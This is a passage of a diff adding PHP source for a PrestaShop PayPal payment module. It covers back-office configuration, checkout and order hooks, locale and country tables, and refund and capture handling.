\''.bqSQL($this->version).'\' + WHERE m.name = \''.bqSQL($this->name).'\''); + } + + if (defined('_PS_ADMIN_DIR_')) + { + /* Backward compatibility */ + if (version_compare(_PS_VERSION_, '1.5', '<')) + $this->backwardCompatibilityChecks(); + + /* Upgrade and compatibility checks */ + $this->runUpgrades(); + $this->compatibilityCheck(); + $this->warningsCheck(); + } + else + { + if (isset($this->context->cookie->express_checkout)) + $this->context->smarty->assign('paypal_authorization', true); + + if (($order_process_type == 1) && ((int)$payment_method == HSS) && !$this->useMobile()) + $this->context->smarty->assign('paypal_order_opc', true); + elseif (($order_process_type == 1) && ((bool)Tools::getValue('isPaymentStep') == true)) + { + $shop_url = PayPal::getShopDomainSsl(true, true); + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $link = $shop_url._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + $this->context->smarty->assign('paypal_confirmation', $link.'?'.http_build_query(array('get_confirmation' => true), '', '&')); + } + else + { + $values = array('fc' => 'module', 'module' => 'paypal', 'controller' => 'confirm', 'get_confirmation' => true); + $this->context->smarty->assign('paypal_confirmation', $shop_url.__PS_BASE_URI__.'?'.http_build_query($values)); + } + } + } + } + + protected function checkMobileCredentials() + { + $payment_method = Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if (((int)$payment_method == HSS) && ( + (!(bool)Configuration::get('PAYPAL_API_USER')) && + (!(bool)Configuration::get('PAYPAL_API_PASSWORD')) && + (!(bool)Configuration::get('PAYPAL_API_SIGNATURE')))) + $this->warning .= $this->l('You must set your PayPal Integral credentials in order to have the mobile theme work correctly.').'
        '; + } + + protected function checkMobileNeeds() + { + $iso_code = Country::getIsoById((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $paypal_countries = array('ES', 'FR', 'PL', 'IT'); + + if (method_exists($this->context->shop, 'getTheme')) + { + if (($this->context->shop->getTheme() == 'default') && in_array($iso_code, $paypal_countries)) + $this->warning .= $this->l('The mobile theme only works with the PayPal\'s payment module at this time. Please activate the module to enable payments.').'
        '; + } + else + $this->warning .= $this->l('In order to use the module you need to install the backward compatibility.').'
        '; + } + + /* Check status of backward compatibility module*/ + protected function backwardCompatibilityChecks() + { + if (Module::isInstalled('backwardcompatibility')) + { + $backward_module = Module::getInstanceByName('backwardcompatibility'); + if (!$backward_module->active) + $this->warning .= $this->l('To work properly the module requires the backward compatibility module enabled').'
        '; + elseif ($backward_module->version < PayPal::BACKWARD_REQUIREMENT) + $this->warning .= $this->l('To work properly the module requires at least the backward compatibility module v').PayPal::BACKWARD_REQUIREMENT.'.
        '; + } + else + $this->warning .= $this->l('In order to use the module you need to install the backward compatibility.').'
        '; + } + + public function getContent() + { + $this->_postProcess(); + + if (($id_lang = Language::getIdByIso('EN')) == 0) + $english_language_id = (int)$this->context->employee->id_lang; + else + $english_language_id = (int)$id_lang; + + $this->context->smarty->assign(array( + 'PayPal_WPS' => (int)WPS, + 'PayPal_HSS' => (int)HSS, + 'PayPal_ECS' => (int)ECS, + 'PP_errors' => $this->_errors, + 'PayPal_logo' => $this->paypal_logos->getLogos(), + 'PayPal_allowed_methods' => $this->getPaymentMethods(), + 'PayPal_country' => Country::getNameById((int)$english_language_id, (int)$this->default_country), + 'PayPal_country_id' => (int)$this->default_country, + 'PayPal_business' => Configuration::get('PAYPAL_BUSINESS'), + 'PayPal_payment_method' => (int)Configuration::get('PAYPAL_PAYMENT_METHOD'), + 'PayPal_api_username' => Configuration::get('PAYPAL_API_USER'), + 'PayPal_api_password' => Configuration::get('PAYPAL_API_PASSWORD'), + 'PayPal_api_signature' => Configuration::get('PAYPAL_API_SIGNATURE'), + 'PayPal_api_business_account' => Configuration::get('PAYPAL_BUSINESS_ACCOUNT'), + 'PayPal_express_checkout_shortcut' => (int)Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT'), + 'PayPal_sandbox_mode' => (int)Configuration::get('PAYPAL_SANDBOX'), + 'PayPal_payment_capture' => (int)Configuration::get('PAYPAL_CAPTURE'), + 'PayPal_country_default' => (int)$this->default_country, + 'PayPal_change_country_url' => 'index.php?tab=AdminCountries&token='.Tools::getAdminTokenLite('AdminCountries').'#footer', + 'Countries' => Country::getCountries($english_language_id), + 'One_Page_Checkout' => (int)Configuration::get('PS_ORDER_PROCESS_TYPE'), + 'PayPal_integral_evolution_template' => Configuration::get('PAYPAL_HSS_TEMPLATE'), + 'PayPal_integral_evolution_solution' => Configuration::get('PAYPAL_HSS_SOLUTION'), + 'PayPal_login' => (int)Configuration::get('PAYPAL_LOGIN'), + 'PayPal_login_client_id' => Configuration::get('PAYPAL_LOGIN_CLIENT_ID'), + 'PayPal_login_secret' => Configuration::get('PAYPAL_LOGIN_SECRET'), + 'PayPal_login_tpl' => (int)Configuration::get('PAYPAL_LOGIN_TPL'), + 'default_lang_iso' => Language::getIsoById($this->context->employee->id_lang), + )); + + $this->getTranslations(); + + $output = $this->fetchTemplate('/views/templates/admin/back_office.tpl'); + + if ($this->active == false) + return $output.$this->hookBackOfficeHeader(); + + return $output; + } + + /** + * Hooks methods + */ + public function hookHeader() + { + if ($this->useMobile()) + { + $id_hook = (int)Configuration::get('PS_MOBILE_HOOK_HEADER_ID'); + if ($id_hook > 0) + { + $module = Hook::getModulesFromHook($id_hook, $this->id); + if (!$module) + $this->registerHook('displayMobileHeader'); + } + } + + if (isset($this->context->cart) && $this->context->cart->id) + $this->context->smarty->assign('id_cart', (int)$this->context->cart->id); + + /* Added for PrestaBox */ + if (method_exists($this->context->controller, 'addCSS')) + $this->context->controller->addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + else + Tools::addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + + $process = ''; + + $smarty = $this->context->smarty; + + if (( + (method_exists($smarty, 'getTemplateVars') && ($smarty->getTemplateVars('page_name') == 'authentication' || $smarty->getTemplateVars('page_name') == 'order-opc' )) + || (isset($smarty->_tpl_vars) && ($smarty->_tpl_vars['page_name'] == 'authentication' || $smarty->_tpl_vars['page_name'] == 'order-opc'))) + && + (int)Configuration::get('PAYPAL_LOGIN') == 1) + { + $this->context->smarty->assign(array( + 'paypal_locale' => $this->getLocale(), + 'PAYPAL_LOGIN_CLIENT_ID' => Configuration::get('PAYPAL_LOGIN_CLIENT_ID'), + 'PAYPAL_SANDBOX' => Configuration::get('PAYPAL_SANDBOX'), + 'PAYPAL_LOGIN_TPL' => Configuration::get('PAYPAL_LOGIN_TPL'), + 'PAYPAL_RETURN_LINK' => PayPalLogin::getReturnLink(), + )); + $process .= ' + + '; + } + + return $process; + } + + public function getLocale() + { + switch (Language::getIsoById($this->context->language->id)) + { + case 'fr': + return 'fr-fr'; + case 'hk': + return 'zh-hk'; + case 'cn': + return 'zh-cn'; + case 'tw': + return 'zh-tw'; + case 'xc': + return 'zh-xc'; + case 'dk': + return 'da-dk'; + case 'nl': + return 'nl-nl'; + case 'gb': + return 'en-gb'; + case 'de': + return 'de-de'; + case 'il': + return 'he-il'; + case 'id': + return 'id-id'; + case 'il': + return 'it-il'; + case 'jp': + return 'ja-jp'; + case 'no': + return 'no-no'; + case 'pt': + return 'pt-pt'; + case 'pl': + return 'pl-pl'; + case 'ru': + return 'ru-ru'; + case 'es': + return 'es-es'; + case 'se': + return 'sv-se'; + case 'th': + return 'th-th'; + case 'tr': + return 'tr-tr'; + default : + return 'en-gb'; + } + } + + public function hookDisplayMobileHeader() + { + return $this->hookHeader(); + } + + public function hookDisplayMobileShoppingCartTop() + { + return $this->renderExpressCheckoutButton('cart').$this->renderExpressCheckoutForm('cart'); + } + + public function hookDisplayMobileAddToCartTop() + { + return $this->renderExpressCheckoutButton('cart'); + } + + public function hookProductFooter() + { + $content = (!$this->useMobile()) ? $this->renderExpressCheckoutButton('product') : null; + return $content.$this->renderExpressCheckoutForm('product'); + } + + public function hookPayment($params) + { + if (!$this->active) + return; + + $use_mobile = $this->useMobile(); + + if ($use_mobile) + $method = ECS; + else + $method = (int)Configuration::get('PAYPAL_PAYMENT_METHOD'); + + if (isset($this->context->cookie->express_checkout)) + $this->redirectToConfirmation(); + + $this->context->smarty->assign(array( + 'logos' => $this->paypal_logos->getLogos(), + 'sandbox_mode' => Configuration::get('PAYPAL_SANDBOX'), + 'use_mobile' => $use_mobile, + 'PayPal_lang_code' => (isset($iso_lang[$this->context->language->iso_code])) ? $iso_lang[$this->context->language->iso_code] : 'en_US' + )); + + if ($method == HSS) + { + $billing_address = new Address($this->context->cart->id_address_invoice); + $delivery_address = new Address($this->context->cart->id_address_delivery); + $billing_address->country = new Country($billing_address->id_country); + $delivery_address->country = new Country($delivery_address->id_country); + $billing_address->state = new State($billing_address->id_state); + $delivery_address->state = new State($delivery_address->id_state); + + $cart = $this->context->cart; + $cart_details = $cart->getSummaryDetails(null, true); + + if ((int)Configuration::get('PAYPAL_SANDBOX') == 1) + $action_url = 'https://securepayments.sandbox.paypal.com/acquiringweb'; + else + $action_url = 'https://securepayments.paypal.com/acquiringweb'; + + $shop_url = PayPal::getShopDomainSsl(true, true); + + $this->context->smarty->assign(array( + 'action_url' => $action_url, + 'cart' => $cart, + 'cart_details' => $cart_details, + 'currency' => new Currency((int)$cart->id_currency), + 'customer' => $this->context->customer, + 'business_account' => Configuration::get('PAYPAL_BUSINESS_ACCOUNT'), + 'custom' => Tools::jsonEncode(array('id_cart' => $cart->id, 'hash' => sha1(serialize($cart->nbProducts())))), + 'gift_price' => (float)$this->getGiftWrappingPrice(), + 'billing_address' => $billing_address, + 'delivery_address' => $delivery_address, + 'shipping' => $cart_details['total_shipping_tax_exc'], + 'subtotal' => $cart_details['total_price_without_tax'] - $cart_details['total_shipping_tax_exc'], + 'time' => time(), + 'cancel_return' => $this->context->link->getPageLink('order.php'), + 'notify_url' => $shop_url._MODULE_DIR_.$this->name.'/ipn.php', + 'return_url' => $shop_url._MODULE_DIR_.$this->name.'/integral_evolution/submit.php?id_cart='.(int)$cart->id, + 'tracking_code' => $this->getTrackingCode($method), + 'iso_code' => Tools::strtoupper($this->context->language->iso_code), + 'payment_hss_solution' => Configuration::get('PAYPAL_HSS_SOLUTION'), + 'payment_hss_template' => Configuration::get('PAYPAL_HSS_TEMPLATE'), + )); + $this->getTranslations(); + return $this->fetchTemplate('integral_evolution_payment.tpl'); + } + elseif ($method == WPS || $method == ECS) + { + $this->getTranslations(); + $this->context->smarty->assign(array( + 'PayPal_integral' => WPS, + 'PayPal_express_checkout' => ECS, + 'PayPal_payment_method' => $method, + 'PayPal_payment_type' => 'payment_cart', + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_tracking_code' => $this->getTrackingCode($method))); + + return $this->fetchTemplate('express_checkout_payment.tpl'); + } + + return null; + } + + public function hookShoppingCartExtra() + { + // No active + if (!$this->active || (((int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->context->getMobileDevice()) || + !Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') || !in_array(ECS, $this->getPaymentMethods()) || isset($this->context->cookie->express_checkout)) + return null; + + $values = array('en' => 'en_US', 'fr' => 'fr_FR'); + $this->context->smarty->assign(array( + 'PayPal_payment_type' => 'cart', + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_lang_code' => (isset($values[$this->context->language->iso_code]) ? $values[$this->context->language->iso_code] : 'en_US'), + 'PayPal_tracking_code' => $this->getTrackingCode((int)Configuration::get('PAYPAL_PAYMENT_METHOD')), + 'include_form' => true, + 'template_dir' => dirname(__FILE__).'/views/templates/hook/')); + + return $this->fetchTemplate('express_checkout_shortcut_button.tpl'); + } + + public function hookPaymentReturn() + { + if (!$this->active) + return null; + + return $this->fetchTemplate('confirmation.tpl'); + } + + public function hookRightColumn() + { + $this->context->smarty->assign('logo', $this->paypal_logos->getCardsLogo(true)); + return $this->fetchTemplate('column.tpl'); + } + + public function hookLeftColumn() + { + return $this->hookRightColumn(); + } + + public function hookBackBeforePayment($params) + { + if (!$this->active) + return null; + + /* Only execute if you use PayPal API for payment */ + if (((int)Configuration::get('PAYPAL_PAYMENT_METHOD') != HSS) && $this->isPayPalAPIAvailable()) + { + if ($params['module'] != $this->name || !$this->context->cookie->paypal_token || !$this->context->cookie->paypal_payer_id) + return false; + Tools::redirect('modules/'.$this->name.'/express_checkout/submit.php?confirm=1&token='.$this->context->cookie->paypal_token.'&payerID='.$this->context->cookie->paypal_payer_id); + } + } + + public function setPayPalAsConfigured() + { + Configuration::updateValue('PAYPAL_CONFIGURATION_OK', true); + } + + public function hookAdminOrder($params) + { + if (Tools::isSubmit('submitPayPalCapture')) + $this->_doCapture($params['id_order']); + elseif (Tools::isSubmit('submitPayPalRefund')) + $this->_doTotalRefund($params['id_order']); + + $admin_templates = array(); + if ($this->isPayPalAPIAvailable()) + { + if ($this->_needValidation((int)$params['id_order'])) + $admin_templates[] = 'validation'; + if ($this->_needCapture((int)$params['id_order'])) + $admin_templates[] = 'capture'; + if ($this->_canRefund((int)$params['id_order'])) + $admin_templates[] = 'refund'; + } + + if (count($admin_templates) > 0) + { + $order = new Order((int)$params['id_order']); + + if (version_compare(_PS_VERSION_, '1.5', '>=')) + $order_state = $order->current_state; + else + $order_state = OrderHistory::getLastOrderState($order->id); + + $this->context->smarty->assign( + array( + 'authorization' => (int)Configuration::get('PAYPAL_OS_AUTHORIZATION'), + 'base_url' => _PS_BASE_URL_.__PS_BASE_URI__, + 'module_name' => $this->name, + 'order_state' => $order_state, + 'params' => $params, + 'ps_version' => _PS_VERSION_ + ) + ); + + foreach ($admin_templates as $admin_template) + { + $this->_html .= $this->fetchTemplate('/views/templates/admin/admin_order/'.$admin_template.'.tpl'); + $this->_postProcess(); + $this->_html .= ''; + } + } + + return $this->_html; + } + + public function hookCancelProduct($params) + { + if (Tools::isSubmit('generateDiscount') || !$this->isPayPalAPIAvailable()) + return false; + elseif ($params['order']->module != $this->name || !($order = $params['order']) || !Validate::isLoadedObject($order)) + return false; + elseif (!$order->hasBeenPaid()) + return false; + + $order_detail = new OrderDetail((int)$params['id_order_detail']); + if (!$order_detail || !Validate::isLoadedObject($order_detail)) + return false; + + $paypal_order = PayPalOrder::getOrderById((int)$order->id); + if (!$paypal_order) + return false; + + $products = $order->getProducts(); + $cancel_quantity = Tools::getValue('cancelQuantity'); + $message = $this->l('Cancel products result:').'
        '; + + $amount = (float)($products[(int)$order_detail->id]['product_price_wt'] * (int)$cancel_quantity[(int)$order_detail->id]); + $refund = $this->_makeRefund($paypal_order['id_transaction'], (int)$order->id, $amount); + $this->formatMessage($refund, $message); + $this->_addNewPrivateMessage((int)$order->id, $message); + } + + public function hookBackOfficeHeader() + { + if ((strcmp(Tools::getValue('configure'), $this->name) === 0) || + (strcmp(Tools::getValue('module_name'), $this->name) === 0)) + { + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $output = ' + + + '; + } + else + { + $this->context->controller->addJquery(); + $this->context->controller->addJQueryPlugin('fancybox'); + $this->context->controller->addCSS(_MODULE_DIR_.$this->name.'/css/paypal.css'); + } + + $this->context->smarty->assign(array( + 'PayPal_module_dir' => _MODULE_DIR_.$this->name, + 'PayPal_WPS' => (int)WPS, + 'PayPal_HSS' => (int)HSS, + 'PayPal_ECS' => (int)ECS + )); + + return (isset($output) ? $output : null).$this->fetchTemplate('/views/templates/admin/header.tpl'); + } + return null; + } + + public function renderExpressCheckoutButton($type) + { + if ((!Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') && !$this->useMobile())) + return null; + + if (!in_array(ECS, $this->getPaymentMethods()) || (((int)Configuration::get('PAYPAL_BUSINESS') == 1) && + (int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->useMobile()) + return null; + + $iso_lang = array( + 'en' => 'en_US', + 'fr' => 'fr_FR' + ); + + $this->context->smarty->assign(array( + 'use_mobile' => (bool)$this->useMobile(), + 'PayPal_payment_type' => $type, + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_lang_code' => (isset($iso_lang[$this->context->language->iso_code])) ? $iso_lang[$this->context->language->iso_code] : 'en_US', + 'PayPal_tracking_code' => $this->getTrackingCode((int)Configuration::get('PAYPAL_PAYMENT_METHOD'))) + ); + + return $this->fetchTemplate('express_checkout_shortcut_button.tpl'); + } + + public function renderExpressCheckoutForm($type) + { + if ((!Configuration::get('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT') && !$this->useMobile()) || !in_array(ECS, $this->getPaymentMethods()) || + (((int)Configuration::get('PAYPAL_BUSINESS') == 1) && ((int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) && !$this->useMobile())) + return; + + $this->context->smarty->assign(array( + 'PayPal_payment_type' => $type, + 'PayPal_current_page' => $this->getCurrentUrl(), + 'PayPal_tracking_code' => $this->getTrackingCode((int)Configuration::get('PAYPAL_PAYMENT_METHOD'))) + ); + + return $this->fetchTemplate('express_checkout_shortcut_form.tpl'); + } + + public function useMobile() + { + if ((method_exists($this->context, 'getMobileDevice') && $this->context->getMobileDevice()) || Tools::getValue('ps_mobile_site')) + return true; + return false; + } + + public function getTrackingCode($method) + { + if ((_PS_VERSION_ < '1.5') && (_THEME_NAME_ == 'prestashop_mobile' || (isset($_GET['ps_mobile_site']) && $_GET['ps_mobile_site'] == 1))) + { + if (_PS_MOBILE_TABLET_) + return TABLET_TRACKING_CODE; + elseif (_PS_MOBILE_PHONE_) + return SMARTPHONE_TRACKING_CODE; + } + + //Get Seamless checkout + $login_user = PaypalLoginUser::getByIdCustomer((int)$this->context->customer->id); + if ($login_user && $login_user->expires_in <= time()) + { + $obj = new PayPalLogin(); + $login_user = $obj->getRefreshToken(); + } + + if ($method == WPS) + { + if ($login_user) + return TRACKING_EXPRESS_CHECKOUT_SEAMLESS; + else + return TRACKING_INTEGRAL; + } + if ($method == HSS) + return TRACKING_INTEGRAL_EVOLUTION; + if ($method == ECS) + { + if ($login_user) + return TRACKING_EXPRESS_CHECKOUT_SEAMLESS; + else + return TRACKING_OPTION_PLUS; + } + + return TRACKING_CODE; + } + + public function getTranslations() + { + $file = dirname(__FILE__).'/'._PAYPAL_TRANSLATIONS_XML_; + if (file_exists($file)) + { + $xml = simplexml_load_file($file); + if (isset($xml) && $xml) + { + $index = -1; + $content = $default = array(); + + while (isset($xml->country[++$index])) + { + $country = $xml->country[$index]; + $country_iso = $country->attributes()->iso_code; + + if (($this->iso_code != 'default') && ($country_iso == $this->iso_code)) + $content = (array)$country; + elseif ($country_iso == 'default') + $default = (array)$country; + } + + $content += $default; + $this->context->smarty->assign('PayPal_content', $content); + + return true; + } + } + return false; + } + + public function getPayPalURL() + { + return 'www'.(Configuration::get('PAYPAL_SANDBOX') ? '.sandbox' : '').'.paypal.com'; + } + + public function getPaypalIntegralEvolutionUrl() + { + if (Configuration::get('PAYPAL_SANDBOX')) + return 'https://'.$this->getPayPalURL().'/cgi-bin/acquiringweb'; + return 'https://securepayments.paypal.com/acquiringweb?cmd=_hosted-payment'; + } + + public function getPaypalStandardUrl() + { + return 'https://'.$this->getPayPalURL().'/cgi-bin/webscr'; + } + + public function getAPIURL() + { + return 'api-3t'.(Configuration::get('PAYPAL_SANDBOX') ? '.sandbox' : '').'.paypal.com'; + } + + public function getAPIScript() + { + return '/nvp'; + } + + public function getCountryDependency($iso_code) + { + $localizations = array( + 'AU' => array('AU'), 'BE' => array('BE'), 'CN' => array('CN', 'MO'), 'CZ' => array('CZ'), 'DE' => array('DE'), 'ES' => array('ES'), + 'FR' => array('FR'), 'GB' => array('GB'), 'HK' => array('HK'), 'IL' => array('IL'), 'IN' => array('IN'), 'IT' => array('IT', 'VA'), + 'JP' => array('JP'), 'MY' => array('MY'), 'NL' => array('AN', 'NL'), 'NZ' => array('NZ'), 'PL' => array('PL'), 'PT' => array('PT', 'BR'), + 'RA' => array('AF', 'AS', 'BD', 'BN', 'BT', 'CC', 'CK', 'CX', 'FM', 'HM', 'ID', 'KH', 'KI', 'KN', 'KP', 'KR', 'KZ', 'LA', 'LK', 'MH', + 'MM', 'MN', 'MV', 'MX', 'NF', 'NP', 'NU', 'OM', 'PG', 'PH', 'PW', 'QA', 'SB', 'TJ', 'TK', 'TL', 'TM', 'TO', 'TV', 'TZ', 'UZ', 'VN', + 'VU', 'WF', 'WS'), + 'RE' => array('IE', 'ZA', 'GP', 'GG', 'JE', 'MC', 'MS', 'MP', 'PA', 'PY', 'PE', 'PN', 'PR', 'LC', 'SR', 'TT', + 'UY', 'VE', 'VI', 'AG', 'AR', 'CA', 'BO', 'BS', 'BB', 'BZ', 'CL', 'CO', 'CR', 'CU', 'SV', 'GD', 'GT', 'HN', 'JM', 'NI', 'AD', 'AE', + 'AI', 'AL', 'AM', 'AO', 'AQ', 'AT', 'AW', 'AX', 'AZ', 'BA', 'BF', 'BG', 'BH', 'BI', 'BJ', 'BL', 'BM', 'BV', 'BW', 'BY', 'CD', 'CF', 'CG', + 'CH', 'CI', 'CM', 'CV', 'CY', 'DJ', 'DK', 'DM', 'DO', 'DZ', 'EC', 'EE', 'EG', 'EH', 'ER', 'ET', 'FI', 'FJ', 'FK', 'FO', 'GA', 'GE', 'GF', + 'GH', 'GI', 'GL', 'GM', 'GN', 'GQ', 'GR', 'GS', 'GU', 'GW', 'GY', 'HR', 'HT', 'HU', 'IM', 'IO', 'IQ', 'IR', 'IS', 'JO', 'KE', 'KM', 'KW', + 'KY', 'LB', 'LI', 'LR', 'LS', 'LT', 'LU', 'LV', 'LY', 'MA', 'MD', 'ME', 'MF', 'MG', 'MK', 'ML', 'MQ', 'MR', 'MT', 'MU', 'MW', 'MZ', 'NA', + 'NC', 'NE', 'NG', 'NO', 'NR', 'PF', 'PK', 'PM', 'PS', 'RE', 'RO', 'RS', 'RU', 'RW', 'SA', 'SC', 'SD', 'SE', 'SI', 'SJ', 'SK', 'SL', + 'SM', 'SN', 'SO', 'ST', 'SY', 'SZ', 'TC', 'TD', 'TF', 'TG', 'TN', 'UA', 'UG', 'VC', 'VG', 'YE', 'YT', 'ZM', 'ZW'), + 'SG' => array('SG'), 'TH' => array('TH'), 'TR' => array('TR'), 'TW' => array('TW'), 'US' => array('US')); + + foreach ($localizations as $key => $value) + if (in_array($iso_code, $value)) + return $key; + + return $this->getCountryDependency(self::DEFAULT_COUNTRY_ISO); + } + + public function getPaymentMethods() + { + // WPS -> Web Payment Standard + // HSS -> Web Payment Pro / Integral Evolution + // ECS -> Express Checkout Solution + + $payment_method = array('AU' => array(WPS, HSS, ECS), 'BE' => array(WPS, ECS), 'CN' => array(WPS, ECS), 'CZ' => array(), 'DE' => array(WPS), + 'ES' => array(WPS, HSS, ECS), 'FR' => array(WPS, HSS, ECS), 'GB' => array(WPS, HSS, ECS), 'HK' => array(WPS, HSS, ECS), + 'IL' => array(WPS, ECS), 'IN' => array(WPS, ECS), 'IT' => array(WPS, HSS, ECS), 'JP' => array(WPS, HSS, ECS), 'MY' => array(WPS, ECS), + 'NL' => array(WPS, ECS), 'NZ' => array(WPS, ECS), 'PL' => array(WPS, ECS), 'PT' => array(WPS, ECS), 'RA' => array(WPS, ECS), 'RE' => array(WPS, ECS), + 'SG' => array(WPS, ECS), 'TH' => array(WPS, ECS), 'TR' => array(WPS, ECS), 'TW' => array(WPS, ECS), 'US' => array(WPS, ECS), + 'ZA' => array(WPS, ECS)); + + return isset($payment_method[$this->iso_code]) ? $payment_method[$this->iso_code] : $payment_method[self::DEFAULT_COUNTRY_ISO]; + } + + public function getCountryCode() + { + $cart = new Cart((int)$this->context->cookie->id_cart); + $address = new Address((int)$cart->id_address_invoice); + $country = new Country((int)$address->id_country); + + return $country->iso_code; + } + + public function displayPayPalAPIError($message, $log = false) + { + $send = true; + // Sanitize log + foreach ($log as $key => $string) + { + if ($string == 'ACK -> Success') + $send = false; + elseif (Tools::substr($string, 0, 6) == 'METHOD') + { + $values = explode('&', $string); + foreach ($values as $key2 => $value) + { + $values2 = explode('=', $value); + foreach ($values2 as $key3 => $value2) + if ($value2 == 'PWD' || $value2 == 'SIGNATURE') + $values2[$key3 + 1] = '*********'; + $values[$key2] = implode('=', $values2); + } + $log[$key] = implode('&', $values); + } + } + + $this->context->smarty->assign(array('message' => $message, 'logs' => $log)); + + if ($send) + { + $id_lang = (int)$this->context->language->id; + $iso_lang = Language::getIsoById($id_lang); + + if (!is_dir(dirname(__FILE__).'/mails/'.Tools::strtolower($iso_lang))) + $id_lang = Language::getIdByIso('en'); + + Mail::Send($id_lang, 'error_reporting', Mail::l('Error reporting from your PayPal module', + (int)$this->context->language->id), array('{logs}' => implode('
        ', $log)), Configuration::get('PS_SHOP_EMAIL'), + null, null, null, null, null, _PS_MODULE_DIR_.$this->name.'/mails/'); + } + + return $this->fetchTemplate('error.tpl'); + } + + private function _canRefund($id_order) + { + if (!(bool)$id_order) + return false; + + $paypal_order = Db::getInstance()->getRow(' + SELECT `payment_status`, `capture` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order); + + return $paypal_order && $paypal_order['payment_status'] == 'Completed' && $paypal_order['capture'] == 0; + } + + private function _needValidation($id_order) + { + if (!(int)$id_order) + return false; + + $order = Db::getInstance()->getRow(' + SELECT `payment_method`, `payment_status` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order); + + return $order && $order['payment_method'] != HSS && $order['payment_status'] == 'Pending_validation'; + } + + private function _needCapture($id_order) + { + if (!(int)$id_order) + return false; + + $result = Db::getInstance()->getRow(' + SELECT `payment_method`, `payment_status` + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)$id_order.' AND `capture` = 1'); + + return $result && $result['payment_method'] != HSS && $result['payment_status'] == 'Pending_capture'; + } + + private function _preProcess() + { + if (Tools::isSubmit('submitPaypal')) + { + $business = Tools::getValue('business') !== false ? (int)Tools::getValue('business') : false; + $payment_method = Tools::getValue('paypal_payment_method') !== false ? (int)Tools::getValue('paypal_payment_method') : false; + $payment_capture = Tools::getValue('payment_capture') !== false ? (int)Tools::getValue('payment_capture') : false; + $sandbox_mode = Tools::getValue('sandbox_mode') !== false ? (int)Tools::getValue('sandbox_mode') : false; + + if ($this->default_country === false || $sandbox_mode === false || $payment_capture === false || $business === false || $payment_method === false) + $this->_errors[] = $this->l('Some fields are empty.'); + elseif (($business == 0 || ($business == 1 && $payment_method != HSS)) && (!Tools::getValue('api_username') || !Tools::getValue('api_password') || !Tools::getValue('api_signature'))) + $this->_errors[] = $this->l('Credentials fields cannot be empty'); + elseif ($business == 1 && $payment_method == HSS && !Tools::getValue('api_business_account')) + $this->_errors[] = $this->l('Business e-mail field cannot be empty'); + } + + return !count($this->_errors); + } + + private function _postProcess() + { + if (Tools::isSubmit('submitPaypal')) + { + if (Tools::getValue('paypal_country_only')) + Configuration::updateValue('PAYPAL_COUNTRY_DEFAULT', (int)Tools::getValue('paypal_country_only')); + elseif ($this->_preProcess()) + { + Configuration::updateValue('PAYPAL_BUSINESS', (int)Tools::getValue('business')); + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', (int)Tools::getValue('paypal_payment_method')); + Configuration::updateValue('PAYPAL_API_USER', trim(Tools::getValue('api_username'))); + Configuration::updateValue('PAYPAL_API_PASSWORD', trim(Tools::getValue('api_password'))); + Configuration::updateValue('PAYPAL_API_SIGNATURE', trim(Tools::getValue('api_signature'))); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', trim(Tools::getValue('api_business_account'))); + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT', (int)Tools::getValue('express_checkout_shortcut')); + Configuration::updateValue('PAYPAL_SANDBOX', (int)Tools::getValue('sandbox_mode')); + Configuration::updateValue('PAYPAL_CAPTURE', (int)Tools::getValue('payment_capture')); + /* USE PAYPAL LOGIN */ + Configuration::updateValue('PAYPAL_LOGIN', (int)Tools::getValue('paypal_login')); + Configuration::updateValue('PAYPAL_LOGIN_CLIENT_ID', Tools::getValue('paypal_login_client_id')); + Configuration::updateValue('PAYPAL_LOGIN_SECRET', Tools::getValue('paypal_login_client_secret')); + Configuration::updateValue('PAYPAL_LOGIN_TPL', (int)Tools::getValue('paypal_login_client_template')); + /* /USE PAYPAL LOGIN */ + + //EXPRESS CHECKOUT TEMPLATE + Configuration::updateValue('PAYPAL_HSS_SOLUTION', (int)Tools::getValue('integral_evolution_solution')); + if (Tools::getValue('integral_evolution_solution') == PAYPAL_HSS_IFRAME) + Configuration::updateValue('PAYPAL_HSS_TEMPLATE', 'D'); + else + Configuration::updateValue('PAYPAL_HSS_TEMPLATE', Tools::getValue('integral_evolution_template')); + $this->context->smarty->assign('PayPal_save_success', true); + } + else + { + $this->_html = $this->displayError(implode('
        ', $this->_errors)); // Not displayed at this time + $this->context->smarty->assign('PayPal_save_failure', true); + } + } + + return $this->loadLangDefault(); + } + + private function _makeRefund($id_transaction, $id_order, $amt = false) + { + if (!$this->isPayPalAPIAvailable()) + die(Tools::displayError('Fatal Error: no API Credentials are available')); + elseif (!$id_transaction) + die(Tools::displayError('Fatal Error: id_transaction is null')); + + if (!$amt) + $params = array('TRANSACTIONID' => $id_transaction, 'REFUNDTYPE' => 'Full'); + else + { + $iso_currency = Db::getInstance()->getValue(' + SELECT `iso_code` + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'currency` c ON (o.`id_currency` = c.`id_currency`) + WHERE o.`id_order` = '.(int)$id_order); + + $params = array('TRANSACTIONID' => $id_transaction, 'REFUNDTYPE' => 'Partial', 'AMT' => (float)$amt, 'CURRENCYCODE' => Tools::strtoupper($iso_currency)); + } + + $paypal_lib = new PaypalLib(); + + return $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'RefundTransaction', 